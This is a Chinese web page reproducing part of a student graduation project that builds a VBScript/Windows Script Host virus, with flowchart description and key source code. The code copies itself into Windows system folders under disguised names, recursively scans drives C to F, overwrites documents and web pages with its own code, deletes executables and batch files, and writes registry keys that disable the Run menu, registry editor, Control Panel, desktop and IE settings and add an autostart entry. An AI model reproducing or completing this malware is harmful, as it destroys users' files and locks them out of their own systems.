文章导读:在新的一年中,各位网友都进入紧张的学习或是工作阶段。网学的各位小编整理了其他类别-基于VBScript和Windows脚本宿主的一种简单病毒开发的相关内容供大家参考,祝大家在新的一年里工作和学习顺利!
客服咨询,网学网竭诚为您服务,本站永久域名:myeducs.cn |
5.2 功能流程图 脚本病毒程序流程:首先是初始化工作及创建主函数过程,其次是搜索文件,选择某一文件并判断感染条件,如果已经感染,则结束感染破坏文件模块,并选择下一文件。如果未感染,则执行感染破坏文件模块,再选择下一文件。并使用递归算法调用搜索文件模块本身,对子文件夹进行操作。对磁盘搜索,文件感染破坏操作完成后,执行注册表修改操作,最后结束程序。如图1所示 5.3 设计思路 1.初始化部分:定义相关全局变量。 2.主函数部分:使用系统文件操作(FSO)对象来对各个文件进行操作,调用scan过程,磁盘遍历过程,注册表操作过程。 3.文件搜索部分:使用系统文件操作对象,通过调用getfolder方法,得到路径下的文件,再用递归算法,调用过程本身,实现对自文件夹的访问。 4.文件破坏部分:判断文件后缀,如果符合条件,执行删除操作。 5.文件感染部分:如果文件未感染,则将脚本病毒自身代码覆盖源文件,实现对目标文件的感染。 6.注册表操作部分:创建注册表键值修改过程,再调用该过程对注册表进行修改操作。 5.4 功能模块实现 5.4.1主函数模块 该模块主要用到的对象: CreateObject对象 创建注册表对象 该模块主要用到的方法: RegRead 方法 读注册表键值 Regcreate 方法 创建注册表键值 代码解析: 主函数模块首先创建了对注册表操作的对象,再调用regread方法和regcreate方法,对执行VBScript脚本的Windows脚本宿主程序进行超时设置,加入防止操作超时的操作。然后将病毒文件复制到windows目录和system32目录下备份。再调用感染文件模块,破坏文件模块,注册表操作模块。 关键代码如下: main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.regcreate"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0 ,"REG_DWORD" ''注释 - 防止操作超时造成的程序终止。 end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) ''获取系统关键文件夹的名称 Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\raul.TXT.vbs") ''复制自身到关键目录中备用。 m = msgbox("The virus is scanning!",0,"raul-virus") ''弹出警告窗口,病毒正在执行搜索功能 scan("C: ") m = msgbox("The virus is deleting your file!",0,"raul-virus") delete("C: ") scan("D: ") delete("D: ") scan("E: ") delete("E: ") scan("F: ") delete("F: ") regruns() end sub 5.4.2感染文件模块 该模块主要用到的对象: Filesystemobject对象 系统文件操作对象 Files 对象 文件夹中所有文件的集合 该模块主要用到的方法: GetFolder 方法 返回指定的文件夹对象 Getextensionname 方法 返回包含文件扩展名的字符串 Opentextfile 方法 打开指定的文件 GetBaseName 方法 返回文件的基本名 GetFile 方法 返回指定的文件 Write 方法 将指定内容写入字符串 Copy 方法 复制指定的文件 代码解析: 脚本病毒可以直接通过复制自身代码来感染文件。病毒中的绝大部分代码都可以直接加在另一程序中间。以下这部分代码就是感染文件模块的关键代码: 1.首先定义系统文件操作fso。 2.然后调用opentextfile方法打开一个文件,并将该文件复制给raul对象。 3.判断文件名后缀,如果是html,htm,xls,vbs,doc,ppt,则调用write方法,将满足上述后缀名的文件打开,并将病毒自身代码写入文件,实现感染操作。 4.之后调用getbasename方法得到要感染的文件的名称。 5.再将这个字符串覆盖写到源目标文件,并创建一个以源目标文件名为文件名前缀、以“vbs”为后缀的新文件。 6.最后删除源目标文件。 关键代码如下: dim file,fc,raul,aname set fso = wscript.createobject("scripting.filesystemobject") set folder = fso.getfolder(lujing) set fc = folder.Files ext=fso.getextensionname(file.path) ext=lcase(ext) if(ext="html")or(ext="htm")or(ext="xls")or(ext="vbs")or(ext="doc")or(ext="ppt ")then set raul=fso.OpenTextFile(f1.path,2,true) raul.write vbscopy raul.close aname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(lujing &"\"&aname&".vbs") 5.4.3搜索文件模块 该模块主要用到的对象: Filesystemobject对象 系统文件操作对象 Files对象 文件夹中所有文件的集合 该模块主要用到的方法: Getfolder方法 返回指定路径中的文件夹对象 Subfolders属性 返回由指定子文件夹组成的文件夹集合 该模块运行截图效果如图2所示: 图2 病毒搜索模块运行截图效果 代码解析: 1.首先本模块内定义了系统文件操作对象fso。 2.然后调用getfolder方法,得到需要搜索的路径(scan过程里面的参数即需要搜索的路径)的那个文件夹,并将该文件夹对象附给变量folder。 3.再引用files属性,得到文件夹下面的所有子文件组成的文件集合,并将该对象附给变量fc。 4.再通过for循环语句,实现对fc(文件集合)下的所有文件依次进行感染标记判断,破坏,感染等操作。 5.接下来引用subfolders属性,将子文件夹集合这个对象附给变量sf。 6.通过for循环语句,并且调用scan过程(递归算法),该递归算法能够遍历整个分区的目录和文件。实现对sf(文件集合)下所有文件的依次操作。从而达到搜索整个文件夹的目的。 关键代码如下: Sub scan (lujing) On error resume next Dim file,fc Set fso = wscript.createobject(“scripting.filesystemobject”) Set folder = fso.getfolder(lujing) Set fc = folder.files For each file in fc /*脚本病毒感染及删除模块语句*/ Next Set sf = folder.subfolders For each file in sf Scan(file) Next End sub 5.4.4破坏模块 该模块主要用到的对象: Filesystemobject对象 系统文件操作对象 Files对象 文件夹中所有文件的集合 该模块主要用到的方法: Deletefile方法 删除指定的文件 该模块运行截图效果如图3所示: 图3 病毒破坏模块运行截图效果 代码解析: 1.首先定义系统文件操作fso。 2.调用getfolder方法,得到指定路径下的文件夹。 3.对于文件夹下的每一个文件判断文件名后缀,如果是exe,com,bat,则调用deletefile方法,将满足上述文件名后缀的文件直接删除,实现破坏功能。 关键代码如下: Sub delete (lujing) On error resume next Dim file,fc Set fso = wscript.createobject(“scripting.filesystemobject”) Set folder = fso.getfolder(lujing) Set fc = folder.files For each file in fc if (ext="exe") or (ext="com") or (ext="bat") then fso.deletefile(file.path) Next End sub 5.4.5注册表操作模块 该模块主要用到的函数: CreateObject函数 创建注册表对象 该模块主要用到的方法: Regwrite方法 对指定的注册表项写入值 代码解析: 1.该模块首先定义了创建注册表键值过程。调用createobject函数创建了注册表修改对象。调用regwrite方法,写入注册表的键值。 2.在regruns过程中调用了regcreate过程,执行禁止运行菜单,禁止关闭系统菜单,开机自动运行等操作,以及对IE修改的操作。 关键代码如下: sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub sub regruns() regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD" ''禁止运行菜单 regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD" ''禁止关闭系统菜单 regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD" ''隐藏盘符 regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD" ''禁止使用注册表编辑器 regcreate"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",1,"REG_DWORD" ''禁止使用注册表扫描 regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD" ''禁止注销菜单 regcreate"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs" ''开机自动运行 regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD" ''禁止显示桌面所有图标 regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD" ''禁止dos regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD" ''禁止任务栏和开始 regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD" ''禁止右键菜单 regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD" ''禁止控制面板 regcreate"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","kkhk" ''开机对话提示框标题 regcreate"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","ij" ''开机对话提示框内容 ''下面是相关IE操作 regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD" 禁止IE右键菜单 regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserOptions",1,"REG_DWORD" 禁止Internet选项 regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD" 禁用另存为菜单 regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoFileOpen",1,"REG_DWORD" 禁用文件打开菜单 regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\Cache Internet",1,"REG_DWORD" 禁止更改临时文件设置 regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\AutoConfig",1,"REG_DWORD" 禁止更改自动配置 regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\HomePage",1,"REG_DWORD" 禁止更改主页 regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\History",1,"REG_DWORD" 禁止更改历史记录设置 regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoViewSource",1,"REG_DWORD" 禁止查看源文件 regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\SecurityTab",1,"REG_DWORD" 禁止安全项 end sub |
本站发布的计算机毕业设计均是完整无错的全套作品,包含开题报告+程序+论文+源代码+翻译+答辩稿PPT |
本文选自计算机毕业设计http://myeducs.cn |